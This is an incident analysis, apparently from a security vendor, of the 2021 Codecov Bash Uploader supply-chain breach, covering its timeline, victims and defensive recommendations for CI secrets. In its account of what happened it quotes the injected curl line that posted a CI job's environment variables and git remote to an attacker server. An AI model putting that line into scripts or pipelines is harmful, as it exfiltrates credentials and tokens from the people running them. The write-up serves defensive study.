Codecov Breach 2021: How a Leaked Cloud Storage Key Turned a CI Script into a Secrets Harvester

From 31 January 2021, an unknown attacker quietly altered Codecov's Bash Uploader, a script that thousands of software teams ran inside their continuous integration (CI) pipelines to upload code coverage reports. Codecov says the attacker got in through an error in its Docker image creation process, which let them extract the Google Cloud Storage credential needed to modify the script. The altered version added one line that sent every environment variable in the CI job, plus the repository's git remote URL, to an attacker-controlled server. Those environment variables held exactly what CI pipelines run on: API tokens, cloud keys, signing keys and git credentials. A customer spotted a checksum mismatch on 1 April 2021 and Codecov disclosed on 15 April. HashiCorp, Twilio, Rapid7 and Mercari later confirmed exposed keys, cloned repositories or leaked data. The Codecov breach is a textbook case of one leaked non-human credential leading to thousands of others.

At a glance

What happened

Codecov's Bash Uploader was a script that teams downloaded from codecov.io/bash and ran inside their CI jobs. Codecov also listed its GitHub Action, CircleCI Orb and Bitrise Step as affected. BleepingComputer reported that Codecov served more than 29,000 enterprises at the time.

According to Codecov's security update, "The actor gained access because of an error in Codecov's Docker image creation process that allowed the actor to extract the credential required to modify our Bash Uploader script." Codecov describes this as "periodic, unauthorized access to a Google Cloud Storage (GCS) key beginning January 31, 2021", which the third party used to alter the script stored there.

The change was small. The attacker added a line that ran curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" to an attacker-controlled address. In other words, every time a customer's pipeline fetched and ran the uploader, it posted the full list of environment variables in that CI job, together with the URL of the origin repository, to the attacker. Codecov warned that this could include "credentials, tokens, or keys" that give access to "services, datastores, and application code".

The tampering ran for about two months. It ended because of a basic integrity check: "A customer reported this to us on the morning of April 1, 2021. This customer was using the shasum that is available on our Bash Uploader to confirm the integrity of the uploader fetched from https://codecov.io/bash." Codecov says it then "secured and remediated the affected script" and began investigating. It engaged a third-party forensic firm and reported the matter to law enforcement.

Codecov disclosed the incident on 15 April 2021, emailing users at the address on file from GitHub, GitLab or Bitbucket and adding a banner in its application. Its core advice was to "immediately re-roll all of your credentials, tokens, or keys located in the environment variables in your CI process". On 29 April Codecov added detections and details of which environment variables may have been obtained. The next day the US Cybersecurity and Infrastructure Security Agency (CISA) urged all Codecov users to search for the indicators of compromise, change ("re-roll") potentially affected credentials, tokens and keys, and revoke and reissue any potentially affected certificates.

By then the stolen secrets were already being used. BleepingComputer, citing Reuters, reported on 20 April that hundreds of customer networks had been breached. Investigators told Reuters the attackers had "deployed automation to use the collected customer credentials to tap into hundreds of client networks", focusing on makers of software development programs and technology service providers.

Timeline

How it happened: the identity attack path

1. A secret left in a build artefact. An error in how Codecov built its Docker images let the attacker extract a credential for the Google Cloud Storage location that hosted the Bash Uploader.
2. Tampering with a trusted script. With that credential, the attacker periodically modified the uploader. Pipelines kept fetching and running it from the same URL.
3. Harvesting CI identities at run time. The added line posted the output of env and git remote -v to attacker servers. CI jobs typically carry cloud keys, API tokens, package publishing tokens and git credentials as environment variables, so each run could hand over a full set of the pipeline's non-human identities.
4. Automated reuse of stolen credentials. Investigators told Reuters that the attackers used automation to try the collected credentials against client networks, turning one compromise into hundreds.
5. From tokens to source code. Stolen git credentials were used to clone private repositories. GitHub identified cloned repositories at Twilio and warned Mercari of potential source code compromise; Rapid7 found internal repositories accessed.
6. Secrets in code as a second harvest. The cloned repositories held more secrets and data. Rapid7 said its repositories "contained some internal credentials", and Mercari found personal data in source code.

Impact

Codecov did not publish a count of affected customers.

HashiCorp said a subset of its CI pipelines used Codecov, and that the exposure included "The GPG private key used for signing hashes used to validate HashiCorp product downloads". It rotated the key, published a new one, re-signed existing releases and said its investigation "has not revealed evidence of unauthorized usage of the exposed GPG key". It found no malicious changes to its source code or binaries, and its macOS, Windows and Linux package signing were not affected.

Twilio said it used Codecov tools "in a small number of our projects and CI pipelines". A Twilio user token for GitHub was exfiltrated, and on 22 April GitHub told Twilio it had identified repositories "that had been cloned by the attacker in the time before we were notified by Codecov." One of them contained "a small number of email addresses belonging to Twilio customers".

Rapid7 said Codecov ran on "a single CI server used to test and build some internal tooling" for its managed detection and response (MDR) service. "A small subset of our source code repositories for internal tooling for our MDR service was accessed", and these held internal credentials, since rotated, and alert-related data for a subset of MDR customers.

Mercari reported the largest data exposure among the disclosed victims. After GitHub warned it on 23 April, Mercari found personal information in part of its source code, including 17,085 sales proceeds payout records, 7,966 business partner records, 2,615 employee records and 217 customer service records. BleepingComputer put the total at about 27,885 records.

What this means for NHI governance

Every step of the Codecov breach ran on non-human identities. The attacker started with one leaked cloud storage credential baked into a build artefact. They used it to tamper with a script that ran with the full authority of each customer's CI job. What they collected were CI secrets: tokens, keys and git credentials belonging to pipelines, not people. Those were then used to clone repositories, where yet more credentials were waiting.

The key lesson is about where CI secrets live and who can read them. Injecting secrets into a job as environment variables makes them available to every process in that job, including third-party scripts fetched at run time. The same pattern appeared again in a later GitHub Action supply chain attack, and our CI/CD pipeline exploitation page covers the wider class of attack.

The breach also shows how hard it is to answer "which secrets were exposed?" after the fact. Customers had to enumerate the environment variables in every pipeline that ran the uploader over about two months, then rotate each one. Organisations with long-lived static keys, spread across many CI jobs with no clear owner, faced the hardest clean-up. The entry point, a credential that ended up inside a Docker image, is also a recurring problem, as our page on secrets hidden inside container images shows.

Recommendations

• Verify third-party scripts before running them. The breach was found because one customer checked the shasum. Pin tools to a version and verify checksums or signatures in the pipeline rather than piping a remote script straight into a shell.
• Give each CI step only the secrets it needs. Scope secrets to the specific job or step that uses them, so tools such as coverage uploaders never see cloud or publishing credentials. The CI/CD Pipeline Identity Security Guide sets out how.
• Replace static CI keys with short-lived credentials. Use federated, short-lived tokens for cloud access from pipelines, so a stolen value expires quickly, as described in the Cloud Workload Identity Guide.
• Keep secrets out of build artefacts. Scan Docker images and other build outputs for embedded credentials before publishing, and use build-time secret mounts rather than copying keys into layers.
• Inventory CI secrets so you can rotate fast. Know which credentials each pipeline holds, who owns them and how to rotate them. Our Secrets Management Guide and Challenges of Rotating NHIs cover the practical steps.
• Protect signing keys separately. Signing keys should not sit in general CI environment variables. Keep them in a dedicated signing service or hardware-backed store.

Frequently asked questions

What happened in the Codecov breach?

From 31 January 2021, an attacker used a credential extracted from Codecov's Docker image creation process to modify the Codecov Bash Uploader. The altered script sent environment variables and git remote URLs from customers' CI pipelines to attacker servers until a customer noticed a checksum mismatch on 1 April 2021. Codecov disclosed the incident on 15 April 2021.

What data was stolen in the Codecov attack?

The script captured whatever was stored in CI environment variables, which commonly included API tokens, cloud keys, signing keys and git credentials. Attackers then used some of those credentials to clone private repositories. HashiCorp's GPG signing key was exposed, and Mercari reported about 27,000 records of personal and business data found in its source code.

Which companies were affected by the Codecov breach?

Codecov served more than 29,000 enterprises, according to BleepingComputer. Companies that publicly confirmed impact include HashiCorp, Twilio, Rapid7 and Mercari, and Reuters reported that hundreds of customer networks were breached.

Related NHI Mgmt Group resources

CircleCI breach · GitHub Action supply chain attack · SolarWinds supply chain compromise · XZ Utils backdoor 2024 · NHI breaches

How NHI Mgmt Group can help

The Codecov breach shows how CI secrets, cloud keys and signing keys can be exposed by a single trusted tool in the pipeline. Our NHI Foundation Level Training Course helps teams find, scope, rotate and govern these non-human identities before an attacker collects them.

References

• Codecov: Bash Uploader Security Update (15 April 2021, updated 29 April 2021)
• CISA: Codecov Releases New Detections for Supply Chain Compromise (30 April 2021)
• BleepingComputer: Hundreds of networks reportedly hacked in Codecov supply-chain attack (20 April 2021)
• HashiCorp: HCSEC-2021-12, Codecov Security Event and HashiCorp GPG Key Exposure (22 April 2021)
• Twilio: Twilio's Response to the Recent Codecov Vulnerability (4 May 2021)
• Rapid7: Rapid7's Response to Codecov Incident (13 May 2021)
• Mercari: Mercari's Response to the Codecov Vulnerability and Related Notification on Personal Information Exposure (21 May 2021)
• BleepingComputer: E-commerce giant suffers major data breach in Codecov incident (21 May 2021)